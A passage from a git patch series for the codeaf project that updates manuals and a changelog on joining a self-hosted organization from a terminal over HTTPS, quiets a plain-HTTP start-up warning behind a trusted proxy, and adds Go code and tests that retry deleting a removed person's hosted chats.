like `hs_` followed by 24 letters and digits. `--once` sends one message and prints the reply, as it does elsewhere. Another window on the same command opens another view of the same chat. -You sign in first. Set `CODEAF_ORG_TOKEN`, or run `codeaf attach --token ` once for that server. Without either you read: `Sign in to first: set CODEAF_ORG_TOKEN, or run codeaf attach --token .` The address must be `https://`; a plain `http://` address is accepted only for the computer you are on, because a sign-in must not cross a network in the clear. +You sign in first. Set `CODEAF_ORG_TOKEN`, or run `codeaf attach --token ` once for that server. The token is the `access_token` that joining or signing in answers with: see *join or sign in to an organization from a terminal*. Without either you read: `Sign in to first: set CODEAF_ORG_TOKEN, or run codeaf attach --token .` The address must be `https://`; a plain `http://` address is accepted only for the computer you are on, because a sign-in must not cross a network in the clear. The chat's folder is chosen on the server, so `--org` cannot take `--no-compact`, `--yolo`, `--max-hours`, `--max-cost`, `--one-model` or `--no-host`, nor be combined with `--host` or `--at`. It says which one cannot travel and why. +## join or sign in to an organization from a terminal — where the sign-in token for `codeaf chat --org` comes from, with no desktop app + +The token `--org` wants (`CODEAF_ORG_TOKEN`, or `codeaf attach --token `) is the `access_token` the organization's server answers with when you join or sign in. The desktop app asks for it for you; from a terminal you ask yourself, with `curl`, at the organization's `https://` address (`ORG` below): + +- **Join with an invite link** (from the operator; one person, seven days): `curl -sS $ORG/v1/factory-access -H 'Content-Type: application/json' -d '{"verb":"sign_up","link":"","username":"you","password":"<12 or more characters>","name":"Your Name"}'`. The answer says `"state":"joined"` and holds `"access_token"`. +- **Sign in again**: `curl -sS $ORG/v1/auth/password -H 'Content-Type: application/json' -d '{"username":"you","password":"..."}'` answers with a new `access_token`. + +A refusal comes back as `200` with `"state":"ready"` and a `message`, such as `A password cannot contain your username.`; a link already used says `"state":"used_up"`. A password is taken only over `https://` (or from the server's own machine, which a Docker setup does not count as its own). The token ends after 30 days without use, and after 90 days at most; keep it like a password. `docs/organizations.md`, "From a terminal", has the operator's side: claiming the organization and making an invite link. + ## is my code on the organization's server when I use --org — what stays on your computer and what does not Everything the chat does happens on the server, in a folder that belongs to that one chat: the files it makes, the repositories it clones, what it writes to its shell history. None of it is copied to your computer unless you ask for it. Nothing on your computer is sent to the server except what you type and attach in the chat. @@ -42,7 +51,7 @@ The organization's operator keeps the machine and its disk. See *what can the op A hosted chat is private to the person who made it, unless the organization's policy makes chats of this kind start otherwise (the policy's default for `session`). A private chat is left out of every other person's list and out of the organization's live updates: nobody else is told it exists, who owns it or what state it is in, and that includes the operator unless the policy says the operator sees private things (see *can the operator open my hosted chat*). Someone else who asks for it, to open it, list it, stop it or delete it, gets the same answer as for a chat that was never made, `There is no such chat.` -You can share a chat with a person, a team or the whole organization the way you share anything else (`POST /v1/resources/session//grants` with who and a role; see *Sharing*). Once you do, it shows up in that person's `shared` list. Taking the access away takes it off their list again, and cuts them off if they are watching it at that moment: see *what can someone I shared my hosted chat with do*. +You can share a chat with a person, a team or the whole organization the way you share anything else (`POST /v1/resources/session//grants` with who and a role, such as `{"subject":{"kind":"person","id":""},"role":"view"}`; see *Sharing*). Once you do, it shows up in that person's `shared` list. Taking the access away takes it off their list again, and cuts them off if they are watching it at that moment: see *what can someone I shared my hosted chat with do*. A chat made by a bot belongs to the person who made the bot, is private like any other, and is shown to nobody else until that person shares it. diff --git a/internal/manual/chat/organization-start.md b/internal/manual/chat/organization-start.md index 7f3cd53dde..b37b8cc245 100644 --- a/internal/manual/chat/organization-start.md +++ b/internal/manual/chat/organization-start.md @@ -66,4 +66,4 @@ After that the organization has its own window: switch to it with the switcher, An organization is a server someone runs, and the public repository has everything to run one yourself. `deploy/org/` holds one Docker Compose file that starts the organization server, the AgentField control plane and the two agents that build an issue into a pull request and review one, plus an optional machine for hosted chats. `docs/organizations.md` says what an organization is, what runs where and who can see what, with a ten-minute path from nothing to a first hosted chat, and `deploy/org/README.md` is the operator's walkthrough: HTTPS, backups, upgrades, the published images and Railway. -In short: `./setup.sh` writes `.env` with fresh secrets, `docker compose up -d` starts everything, and `./operator-link.sh` prints the operator link. That link is a secret and works once; whoever opens it first becomes the operator, who then invites people from People. Anyone connecting from another computer needs HTTPS in front of the server. The same Dockerfiles run on Railway as separate services in one project, hosted chats' machine included, when set up by hand; on Railway the operator link is read from the `codeaf` service's log, and `deploy/org/railway/operator-link.sh` prints it. A draft Railway template can be made from the published images, which are not published yet. +In short: clone the repository and go to `deploy/org`; `./setup.sh` writes `.env` with fresh secrets, `docker compose up -d --build` starts everything, and `./operator-link.sh` prints the operator link. That link is a secret, works once and lasts 24 hours; whoever opens it first becomes the operator, who then invites people from People. Everyone needs HTTPS in front of the server, the person on the same machine included: the server takes a password only over HTTPS, and a request through Docker's published port does not count as coming from the server's own machine. Set `CODEAF_PUBLIC_DOMAIN` to the HTTPS name before asking for the link, or the link names an address that does not connect. With no desktop app, joining and sharing are requests to the server: see *join or sign in to an organization from a terminal*. The same Dockerfiles run on Railway as separate services in one project, hosted chats' machine included, when set up by hand; on Railway the operator link is read from the `codeaf` service's log, and `deploy/org/railway/operator-link.sh` prints it. A draft Railway template can be made from the published images, which are not published yet. diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index 443035d7eb..d35b0952d3 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -4007,6 +4007,11 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"can a teammate send messages in my chat while I am using it", "organization-hosted-sessions"}, {"what is the sandbox around a hosted chat", "organization-hosted-sessions"}, {"can I add my own API key to the organization's chats", "organization-hosted-sessions"}, + // The Compose walk as a stranger: a person with no desktop app, and an operator with no domain. + {"how do I join an organization from the terminal without the desktop app", "organization-hosted-sessions"}, + {"where do I get the sign-in token for codeaf chat --org", "organization-hosted-sessions"}, + {"how do I sign in again to my organization from the command line", "organization-hosted-sessions"}, + {"can I try an organization on one machine without a domain name", "organization-start"}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From 2b2416361476c7ea01e56d267bf1d25fa94ae96e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:52:36 -0500 Subject: [PATCH 149/176] change entry 2915: the Compose path walked as a stranger Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2915-compose-walk.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 docs/changes/unreleased/2915-compose-walk.md diff --git a/docs/changes/unreleased/2915-compose-walk.md b/docs/changes/unreleased/2915-compose-walk.md new file mode 100644 index 0000000000..b12da88ff9 --- /dev/null +++ b/docs/changes/unreleased/2915-compose-walk.md @@ -0,0 +1,20 @@ +--- +kind: changed +title: the Compose path of a self-hosted organization, walked as a stranger and corrected +pr: 2915 +surface: [docs, build, chat] +invalidates: + - "The operator README said the operator link's http://[::]:8787 works from the machine running Compose. It does not: the published port listens on 127.0.0.1 only, so [::] does not connect, and over 127.0.0.1 the server refuses a password because Docker presents the request from its bridge, not from loopback. A password sign-in, even on the same machine, needs a public name and an HTTPS proxy in front; the README now has a one-machine recipe with Caddy." + - "CODEAF_PUBLIC_DOMAIN=localhost looked like the way to name a one-machine trial. The Compose stack always runs the server with tls off, which refuses localhost, so the container restarted in a loop; a name with a dot that resolves to 127.0.0.1 is what a trial uses." + - "./operator-link.sh printed the newest operator link in the server's log even after the organization was claimed, so it handed out a spent link and never reached its own message. It now asks the server to check the link and reports a used, expired or retired one instead of printing it. A link also expires after 24 hours." + - "The scripted git host (gitstub) was in the stub profile, where it refused to start without a token that only smoke.sh makes, so turning the scripted model on by hand left a container restarting forever. It is profile gitstub now, and smoke.sh asks for it with the hosted part." + - "Joining an organization, inviting a person, sharing a chat and getting the sign-in token for codeaf chat --org were written down only for the desktop app. docs/organizations.md and two manual pages now give each as the request the app sends, so a terminal can do all of it." + - "The operator README's backup was a bare tar into a bind mount: root-owned, readable by everyone on a default host, holding password hashes, sign-in sessions and the organization's access token, with no restore and no word on stopping the services or on the hosted chats' own volume. It is rewritten, and backup and restore were run against a live stack." + - "codeaf --help and the guide did not name the chat flag --org. Both do now." +--- + +Found by following only the published docs, as a stranger, to stand up an organization with +Docker Compose on one machine, invite a second person and run a first hosted chat on the +scripted model. One product fault is written down as a known limit and not fixed here: a +guest's refused `--once` on a chat that is not running starts it for the owner in one-shot +mode, and the owner's window is then refused until the chat is stopped. From 5c64821e91ad68c0b5f264e5d0de284889661fd4 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:53:58 -0500 Subject: [PATCH 150/176] docs(deploy/org): the needs list says a same-machine password needs HTTPS too, and where the scripted lines go Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index d9172b8529..83d2a78bb0 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -53,8 +53,9 @@ but the `sessionhost` is on, and `hosted`, which only `codeaf` and the `sessionh - Docker with Compose v2.24 or newer (`docker compose version`), `git`, about 4 GB of free memory and 5 GB of disk, and ports 8787 and 8080 free on the host (see "What it runs"). -- For anyone who is not on the same machine: **HTTPS**. An organization server takes a password only over - HTTPS (or from its own machine), so put a proxy that serves HTTPS in front of port 8787 (see "Other people"). +- For anyone to sign in with a password, **you on the machine running Compose included**: **HTTPS**. An organization server + takes a password only over HTTPS or from its own machine, and a request through Docker's published port does not count as + its own machine, so put a proxy that serves HTTPS in front of port 8787 (see "Other people", and "Trying it on one machine"). - For real work: an OpenRouter key (`OPENROUTER_API_KEY`) and, to let the nodes clone private repositories and open pull requests, a GitHub token (`GH_TOKEN`). The smoke test needs neither. @@ -82,7 +83,8 @@ and PR-AF from pinned commits of their public repositories. codeaf is built from To see the whole organization work before you spend anything, point every model call at the scripted model (profile `stub`), which answers a message with `STUB noted: `. Add these to `.env` (they are the values of `.env.stub`, plus the -hosted ones of `.env.stub.hosted` that matter for a first chat), then `docker compose up -d --build`: +hosted ones of `.env.stub.hosted` that matter for a first chat). Add them at the end of `.env` (the last line for a key wins), +then `docker compose up -d --build`: ```sh COMPOSE_PROFILES=hosted,stub From 3b06c2c033e9eabc30be4662b630d39b6721caac Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 03:35:15 -0500 Subject: [PATCH 151/176] fix(cli): no plain-HTTP warning when trusted_proxies names the HTTPS proxy in front codeaf factory serve warned "serving plain HTTP on ..." at every start, even when the operator listed the reverse proxy that serves HTTPS in front of it, as the Compose and Railway stacks do. A listed trusted proxy is the operator saying HTTPS ends before this process, so the warning stays quiet then, and prints as before when none is listed. Co-Authored-By: Claude Opus 5.5 --- cmd/codeaf/factory_command.go | 6 ++++- cmd/codeaf/factory_tls_test.go | 44 ++++++++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+), 1 deletion(-) diff --git a/cmd/codeaf/factory_command.go b/cmd/codeaf/factory_command.go index 909e1eac15..c447f3e3a5 100644 --- a/cmd/codeaf/factory_command.go +++ b/cmd/codeaf/factory_command.go @@ -379,7 +379,11 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam return nil, err } served, s.notes = local, notes - } else if !factoryLoopbackListen(listener.Addr().String()) && host.secure != nil { + } else if !factoryLoopbackListen(listener.Addr().String()) && host.secure != nil && len(secure.proxies) == 0 { + // A LISTED PROXY IS THE OPERATOR SAYING HTTPS ENDS IN FRONT OF THIS + // PROCESS, so the warning would only tell them what they set up on + // purpose, at every start of a Compose or Railway stack. With none + // listed the plain socket is the only way in and the warning stands. s.notes = append(s.notes, "warning: serving plain HTTP on "+listener.Addr().String()+ "; access tokens and sign-in sessions cross the network unencrypted. Serve HTTPS with tls: auto and a domain, "+ "or put a reverse proxy that serves HTTPS in front and list it in trusted_proxies (the manual: hosting a team factory over HTTPS)") diff --git a/cmd/codeaf/factory_tls_test.go b/cmd/codeaf/factory_tls_test.go index 9e047d5229..db59f66d9a 100644 --- a/cmd/codeaf/factory_tls_test.go +++ b/cmd/codeaf/factory_tls_test.go @@ -311,3 +311,47 @@ func TestFactoryHTTPDoorRedirectsToHTTPSExceptTheChallenge(t *testing.T) { t.Fatalf("redirect off 443 = %q", w.Header().Get("Location")) } } + +// Contract item 6 of the overnight fixes: a server that serves plain HTTP on +// every interface warns about it at start, unless the operator listed a proxy +// that serves HTTPS in front of it. Both halves go through the host config and +// the real start, so the words the operator writes are what is judged. +func TestPlainHTTPWarningIsQuietOnlyBehindATrustedProxy(t *testing.T) { + for _, tc := range []struct { + name string + proxies []string + warns bool + }{ + {"no proxy listed keeps the warning", nil, true}, + {"a proxy listed as a range is quiet", []string{"172.16.0.0/12"}, false}, + {"a proxy listed as one address is quiet", []string{"10.1.2.3"}, false}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + dir := t.TempDir() + st, err := store.Open(filepath.Join(dir, "store")) + if err != nil { + t.Fatal(err) + } + l, err := net.Listen("tcp", "0.0.0.0:0") + if err != nil { + t.Skipf("no wildcard listener on this machine: %v", err) + } + cfg := factoryHostConfig{TLS: factoryTLSOff, TrustedProxies: tc.proxies} + secure, err := resolveFactoryTLS(cfg, l.Addr().String(), dir) + if err != nil { + t.Fatal(err) + } + cfg.secure = &secure + s, err := startFactoryService(context.Background(), st, factory.LocalSeam(st, time.Now()), l, "floor-secret", "", cfg) + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.close) + warned := slices.ContainsFunc(s.notes, func(n string) bool { return strings.Contains(n, "warning: serving plain HTTP on ") }) + if warned != tc.warns { + t.Fatalf("warned = %v, want %v; notes: %q", warned, tc.warns, s.notes) + } + }) + } +} From 0ba6bdc01a8f04c4a0db4de87e1d6356b03c6953 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 03:35:34 -0500 Subject: [PATCH 152/176] docs: the plain-HTTP warning is quiet behind a trusted proxy, and says why it stays otherwise deploy/org/README.md called the warning expected behind a proxy; it now says the server stays quiet when CODEAF_TRUSTED_PROXIES lists the proxy and warns only when none is listed. The manual's factory page says the same of trusted_proxies. Co-Authored-By: Claude Opus 5.5 --- deploy/org/README.md | 6 ++++-- internal/manual/chat/factory.md | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 83d2a78bb0..52bf45d015 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -162,8 +162,10 @@ CODEAF_BIND=127.0.0.1 # the proxy runs on this machine; For example Caddy, on the same host: `org.example.com { reverse_proxy 127.0.0.1:8787 }`. Links the server prints then name `https://org.example.com`. Without `CODEAF_TRUSTED_PROXIES` the server sees every request as plain HTTP and refuses passwords with "Passwords are only sent to this server over https". Check it from outside: -`curl https://org.example.com/v1/about` must say `"scheme": "https"`. The server logs `warning: serving plain HTTP on -[::]:8787` at every start, behind a proxy too: it speaks plain HTTP to the proxy, and that is expected. +`curl https://org.example.com/v1/about` must say `"scheme": "https"`. With `CODEAF_TRUSTED_PROXIES` set the server +says nothing about plain HTTP at start: it speaks plain HTTP to the proxy, and you told it so. Without it, a server +listening on a non-loopback address logs `warning: serving plain HTTP on [::]:8787 ...` at every start, because then +nothing in front of it is known to serve HTTPS. ### Trying it on one machine diff --git a/internal/manual/chat/factory.md b/internal/manual/chat/factory.md index c29db8fe90..3c6da9d8ec 100644 --- a/internal/manual/chat/factory.md +++ b/internal/manual/chat/factory.md @@ -243,7 +243,7 @@ conflict queues a bounded maintenance pass. Only the worker executing that pass holds a slot; completing it releases capacity and resumes background monitoring. Budgets, ownership, publication consent and duplicate-repair protection still apply. -The config keys are `name`, `listen`, `access_token`, `repos` (a list of `owner/name`), `github_client_id` (an OAuth app with device flow on), `team` (GitHub handles), `mode` (`solo` or `team`), `loopback_trust` (`true` or `false`; see below) and the HTTPS keys `tls`, `domain`, `cert_file`, `key_file`, `cache_dir`, `trusted_proxies` and `hsts_include_subdomains` (`true` adds `includeSubDomains` to HSTS; off by default; only for a domain you own whose every name is HTTPS). Unknown keys are refused. `domain: localhost` is taken only with `tls: files` and a certificate of your own (no certificate authority issues one for it); it is how passkeys are tried on one machine. Serving plain HTTP on a non-loopback address prints a warning, because access tokens and sign-in sessions would cross the network unencrypted. `--model slug` and `--one-model` pin the model its triage reads use. `--new-operator-link` prints a fresh one-time operator recovery link. Only one service runs per codeaf home (`serve.lock`); a second one says so. +The config keys are `name`, `listen`, `access_token`, `repos` (a list of `owner/name`), `github_client_id` (an OAuth app with device flow on), `team` (GitHub handles), `mode` (`solo` or `team`), `loopback_trust` (`true` or `false`; see below) and the HTTPS keys `tls`, `domain`, `cert_file`, `key_file`, `cache_dir`, `trusted_proxies` and `hsts_include_subdomains` (`true` adds `includeSubDomains` to HSTS; off by default; only for a domain you own whose every name is HTTPS). Unknown keys are refused. `domain: localhost` is taken only with `tls: files` and a certificate of your own (no certificate authority issues one for it); it is how passkeys are tried on one machine. Serving plain HTTP on a non-loopback address prints a warning, because access tokens and sign-in sessions would cross the network unencrypted; the warning stays quiet when `trusted_proxies` lists the reverse proxy that serves HTTPS in front. `--model slug` and `--one-model` pin the model its triage reads use. `--new-operator-link` prints a fresh one-time operator recovery link. Only one service runs per codeaf home (`serve.lock`); a second one says so. ## Does a request from the server's own computer need to sign in — loopback_trust, a team factory behind a reverse proxy on the same machine From 069c1c6d835c12623b153a9ec447d25bead9485d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 03:44:05 -0500 Subject: [PATCH 153/176] store: keep a durable mark for a removal the chats' host has not finished A removed person's chats are deleted on the chats' host, which can be down at that moment. The mark records when the person was removed, survives a restart, and is cleared only for the removal that was finished, so a newer removal that re-marked in between is not lost. Co-Authored-By: Claude Opus 5.5 --- internal/factory/store/hosted_removals.go | 95 +++++++++++++++++++ .../factory/store/hosted_removals_test.go | 72 ++++++++++++++ 2 files changed, 167 insertions(+) create mode 100644 internal/factory/store/hosted_removals.go create mode 100644 internal/factory/store/hosted_removals_test.go diff --git a/internal/factory/store/hosted_removals.go b/internal/factory/store/hosted_removals.go new file mode 100644 index 0000000000..f61b94225d --- /dev/null +++ b/internal/factory/store/hosted_removals.go @@ -0,0 +1,95 @@ +package store + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "time" +) + +// HostedRemoval records when a person was removed so a retry can leave later chats alone. +type HostedRemoval struct { + Since time.Time `json:"since"` +} + +const ( + hostedRemovalsFile = "hosted-removals.json" + hostedRemovalsLock = "hosted-removals.lock" +) + +// ErrHostedRemovalsUnreadable keeps damaged file contents out of errors and logs. +var ErrHostedRemovalsUnreadable = errors.New("the saved removals of hosted chats cannot be read") + +// HostedRemovals returns the removals still owed after a restart. Before the +// first removal there is no file, so there is nothing to retry. +func (st *Store) HostedRemovals() (map[string]HostedRemoval, error) { + raw, err := os.ReadFile(filepath.Join(st.root, hostedRemovalsFile)) + if errors.Is(err, os.ErrNotExist) { + return map[string]HostedRemoval{}, nil + } + if err != nil { + return nil, err + } + // A pointer lets the reader distinguish an absent timestamp from a recorded zero time. + var doc struct { + Rows map[string]struct { + Since *time.Time `json:"since"` + } `json:"rows"` + } + if json.Unmarshal(raw, &doc) != nil || doc.Rows == nil { + return nil, ErrHostedRemovalsUnreadable + } + rows := make(map[string]HostedRemoval, len(doc.Rows)) + for person, row := range doc.Rows { + if row.Since == nil { + return nil, ErrHostedRemovalsUnreadable + } + rows[person] = HostedRemoval{Since: *row.Since} + } + return rows, nil +} + +// MarkHostedRemoval keeps the later cutoff because it also covers the chats +// that were owed at the earlier cutoff. +func (st *Store) MarkHostedRemoval(person string, since time.Time) error { + return st.underLock(filepath.Join(st.root, hostedRemovalsLock), func() error { + rows, err := st.HostedRemovals() + if errors.Is(err, ErrHostedRemovalsUnreadable) { + rows = map[string]HostedRemoval{} + } else if err != nil { + return err + } + if mark, ok := rows[person]; ok && !since.After(mark.Since) { + return nil + } + rows[person] = HostedRemoval{Since: since} + return st.writeHostedRemovals(rows) + }) +} + +// ClearHostedRemoval clears only the cutoff that was finished because another +// removal may have included more chats while the host was being asked. +func (st *Store) ClearHostedRemoval(person string, since time.Time) error { + return st.underLock(filepath.Join(st.root, hostedRemovalsLock), func() error { + rows, err := st.HostedRemovals() + if err != nil { + return err + } + if mark, ok := rows[person]; !ok || !mark.Since.Equal(since) { + return nil + } + delete(rows, person) + return st.writeHostedRemovals(rows) + }) +} + +func (st *Store) writeHostedRemovals(rows map[string]HostedRemoval) error { + raw, err := json.Marshal(struct { + Rows map[string]HostedRemoval `json:"rows"` + }{Rows: rows}) + if err != nil { + return err + } + return writeAtomic(filepath.Join(st.root, hostedRemovalsFile), append(raw, '\n')) +} diff --git a/internal/factory/store/hosted_removals_test.go b/internal/factory/store/hosted_removals_test.go new file mode 100644 index 0000000000..6859c12196 --- /dev/null +++ b/internal/factory/store/hosted_removals_test.go @@ -0,0 +1,72 @@ +package store + +import ( + "errors" + "os" + "path/filepath" + "testing" + "time" +) + +func TestHostedRemovalKeepsTheLatestMark(t *testing.T) { + root := t.TempDir() + st, err := Open(root) + if err != nil { + t.Fatal(err) + } + if rows, err := st.HostedRemovals(); err != nil || rows == nil || len(rows) != 0 { + t.Fatalf("a table never written = %v, %v; want empty", rows, err) + } + earlier := time.Date(2026, 12, 1, 9, 30, 0, 0, time.UTC) + later := earlier.Add(time.Second) + for _, since := range []time.Time{earlier, later, earlier} { + if err := st.MarkHostedRemoval("mia", since); err != nil { + t.Fatal(err) + } + } + if err := st.MarkHostedRemoval("santosh", earlier); err != nil { + t.Fatal(err) + } + reopened, err := Open(root) + if err != nil { + t.Fatal(err) + } + if err := reopened.ClearHostedRemoval("mia", earlier); err != nil { + t.Fatal(err) + } + if rows, err := reopened.HostedRemovals(); err != nil || len(rows) != 2 || !rows["mia"].Since.Equal(later) || !rows["santosh"].Since.Equal(earlier) { + t.Fatalf("after a stale clear = %v, %v; want both marks and the later time for mia", rows, err) + } + if err := reopened.ClearHostedRemoval("mia", later); err != nil { + t.Fatal(err) + } + if rows, err := st.HostedRemovals(); err != nil || len(rows) != 1 || !rows["santosh"].Since.Equal(earlier) { + t.Fatalf("after a matching clear = %v, %v; want only the other mark", rows, err) + } + if info, err := os.Stat(filepath.Join(root, hostedRemovalsFile)); err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("the file's mode = %v, %v; want 0600", info, err) + } +} + +func TestHostedRemovalReplacesAnUnreadableTable(t *testing.T) { + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + path := filepath.Join(st.Root(), hostedRemovalsFile) + for _, raw := range []string{`{"rows":`, `null`, `{"other":{}}`, `{"rows":{"mia":{}}}`} { + if err := os.WriteFile(path, []byte(raw), 0o600); err != nil { + t.Fatal(err) + } + if rows, err := st.HostedRemovals(); rows != nil || !errors.Is(err, ErrHostedRemovalsUnreadable) { + t.Fatalf("an unreadable table = %v, %v; want ErrHostedRemovalsUnreadable", rows, err) + } + } + since := time.Now() + if err := st.MarkHostedRemoval("mia", since); err != nil { + t.Fatal(err) + } + if rows, err := st.HostedRemovals(); err != nil || len(rows) != 1 || !rows["mia"].Since.Equal(since) { + t.Fatalf("after replacing an unreadable table = %v, %v; want the new mark", rows, err) + } +} From 8e20b8fc737b568eb127de15fdfa3afdf281f1c2 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 03:44:05 -0500 Subject: [PATCH 154/176] fix(org): a removal the chats' host could not finish is retried until it confirms Removing a person while the sessionhost was down closed their chats and ended their model access, but nothing ever retried the delete of their folders and Linux users: only a second manual removal finished it. Removal now writes a durable mark first, enumerates the chats from the registry (and the host's list for chats from before the registry), and the server retries by itself with a backoff from five seconds to five minutes, across restarts, until the host confirms. It logs on the first failed pass and on every power of ten after, and stops scheduling once done. It only deletes what existed when the person was removed, so a chat made later by someone who joined again is left alone. A removal with the host up is unchanged and leaves nothing pending. Co-Authored-By: Claude Opus 5.5 --- internal/factory/serve/hosted_proxy.go | 11 + internal/factory/serve/hosted_removal.go | 147 ++++-- .../factory/serve/hosted_removal_retry.go | 179 ++++++++ .../serve/hosted_removal_retry_test.go | 424 ++++++++++++++++++ internal/factory/serve/serve.go | 1 + 5 files changed, 727 insertions(+), 35 deletions(-) create mode 100644 internal/factory/serve/hosted_removal_retry.go create mode 100644 internal/factory/serve/hosted_removal_retry_test.go diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index 0f1908daef..7fb7c2f6f7 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -64,6 +64,13 @@ type HostedConfig struct { // example https://github.com. Empty means github.com alone. GitHosts []string + // removalAfter and removalLogf are how a test takes the removal retry's + // clock and log into its own hands, so the retry is proved without sleeping + // and its lines can be counted. Nil in every running server: the retry then + // waits on a real timer and writes to the standard log. + removalAfter func(d time.Duration, run func()) (stop func() bool) + removalLogf func(format string, args ...any) + // state is made by hostedRoutes, on the handler's own copy of this // struct, so two handlers built from one Config never share bearers. state *hostedState @@ -102,6 +109,9 @@ type hostedState struct { attach sync.Mutex // Registry mutations exclude backfill so an earlier host reply cannot restore a deleted chat. registry sync.RWMutex + // removals finishes, by itself, the deletion of a removed person's chats + // that the chats' host could not do when they were removed. + removals hostedRemovalRetry // The model door and wire may record or read the current asker concurrently. askerMu sync.RWMutex askers map[string]string @@ -247,6 +257,7 @@ func (h *Handler) hostedRoutes() { h.route("/v1/hosted/keys", map[string]http.HandlerFunc{http.MethodGet: h.hostedKeyList}) h.route("/v1/hosted/keys/{provider}", map[string]http.HandlerFunc{http.MethodPut: h.hostedKeyPut, http.MethodDelete: h.hostedKeyDelete}) h.hostedGitRoutes() + h.startHostedRemovals() } // hostedLoadBearers brings back the model access the chats already hold, from diff --git a/internal/factory/serve/hosted_removal.go b/internal/factory/serve/hosted_removal.go index b5d7bfe83e..cf678dc3df 100644 --- a/internal/factory/serve/hosted_removal.go +++ b/internal/factory/serve/hosted_removal.go @@ -4,8 +4,11 @@ import ( "context" "encoding/json" "log" + "maps" "net/http" + "slices" "strings" + "time" "github.com/Agent-Field/codeaf/internal/factory" "github.com/Agent-Field/codeaf/internal/factory/acl" @@ -46,11 +49,10 @@ func (t *bearerTable) revokePerson(person string) int { // The order is the security order: the bearers go first, in this process, so // the model and git doors refuse the person's chats before anything that can // fail or wait is tried. Then the person's sealed keys are forgotten, so a -// provider key or GitHub sign-in they stored is not left behind. Then their -// chats are deleted on the chats' host, which frees their Linux user and -// folder, and forgotten in the registry only once the host says so. Last, -// whatever chat the host did not confirm is closed here, so nobody can wake -// it. The host being down never stops a removal. +// provider key or GitHub sign-in they stored is not left behind. The removal +// is recorded before asking the chats' host to free the Linux users and +// folders, so it can finish after a restart. Any chat the host did not +// confirm is closed here so nobody can wake it while it waits to be deleted. func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { cfg := h.config.Hosted if cfg == nil || cfg.state == nil { @@ -69,36 +71,112 @@ func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { } } } - reachable := true - var ids []string - status, _, body, err := hs.call(ctx, http.MethodGet, "/v1/sessions", person, nil) - if err != nil || status != http.StatusOK { + since := h.clock() + st := h.config.Store + if st != nil { + if err := st.MarkHostedRemoval(person, since); err != nil { + log.Print("hosted chats: the removal could not be saved for another try") + } + } + done, listed := h.cleanRemovedChats(ctx, person, since) + if !listed { log.Print("hosted chats: a removed person's chats could not be listed on the chats' host") - reachable = false - } else { - ids = hostedChatIDs(body) - } - for _, id := range ids { - hs.registry.Lock() - status, _, _, err := hs.call(ctx, http.MethodDelete, "/v1/sessions/"+id, person, nil) - hs.models.forget(id, person) - if err == nil && (status/100 == 2 || status == http.StatusNotFound) { - hs.noteAsker(id, "") - if st := h.config.Store; st != nil { - if err := st.DeleteResource(store.SessionKind, id); err != nil { - log.Print("hosted chats: a removed person's chat could not be forgotten by the registry") - } + } + h.closeRemovedChats(person) + if st == nil { + return + } + if done { + if err := st.ClearHostedRemoval(person, since); err == nil { + return + } + log.Print("hosted chats: the finished removal could not be cleared") + } + h.scheduleHostedRemovals() +} + +// cleanRemoved is one try at deleting a removed person's chats on the chats' +// host, and says whether the host confirmed every one of them gone. It works +// from the registry first, so a chat the host cannot list is still tried, and +// from the host's list for chats from before the registry existed. It only +// touches what existed at since: a chat registered later belongs to a person +// who joined again under the same handle. +func (h *Handler) cleanRemoved(ctx context.Context, person string, since time.Time) (done bool) { + done, _ = h.cleanRemovedChats(ctx, person, since) + return done +} + +// cleanRemovedChats returns the list outcome as well, so the request can +// report a failed list while background retries can report totals instead. +func (h *Handler) cleanRemovedChats(ctx context.Context, person string, since time.Time) (done, listed bool) { + hs := h.config.Hosted.state + registered := map[string]struct{}{} + ids := map[string]struct{}{} + registryRead := true + if st := h.config.Store; st != nil { + rows, err := st.Resources(store.SessionKind) + registryRead = err == nil + for _, row := range rows { + registered[row.ID] = struct{}{} + if removedHostedChat(row, person, since) { + ids[row.ID] = struct{}{} + } + } + } + status, _, body, err := hs.call(ctx, http.MethodGet, "/v1/sessions", person, nil) + listed = err == nil && status == http.StatusOK + if listed { + for _, id := range hostedChatIDs(body) { + if _, found := registered[id]; !found { + ids[id] = struct{}{} } - } else if err != nil { - // The host stopped answering: asking it about every other chat would only wait. - reachable = false } - hs.registry.Unlock() + } + done = listed && registryRead + for _, id := range slices.Sorted(maps.Keys(ids)) { + confirmed, reachable := h.deleteRemovedChat(ctx, id, person, since) if !reachable { - break + // When the host stops answering, asking about each remaining chat would only wait. + return false, listed } + done = done && confirmed } - h.closeRemovedChats(person) + return done, listed +} + +// removedHostedChat says a registry row is a chat the removal at since owns. +func removedHostedChat(row store.Resource, 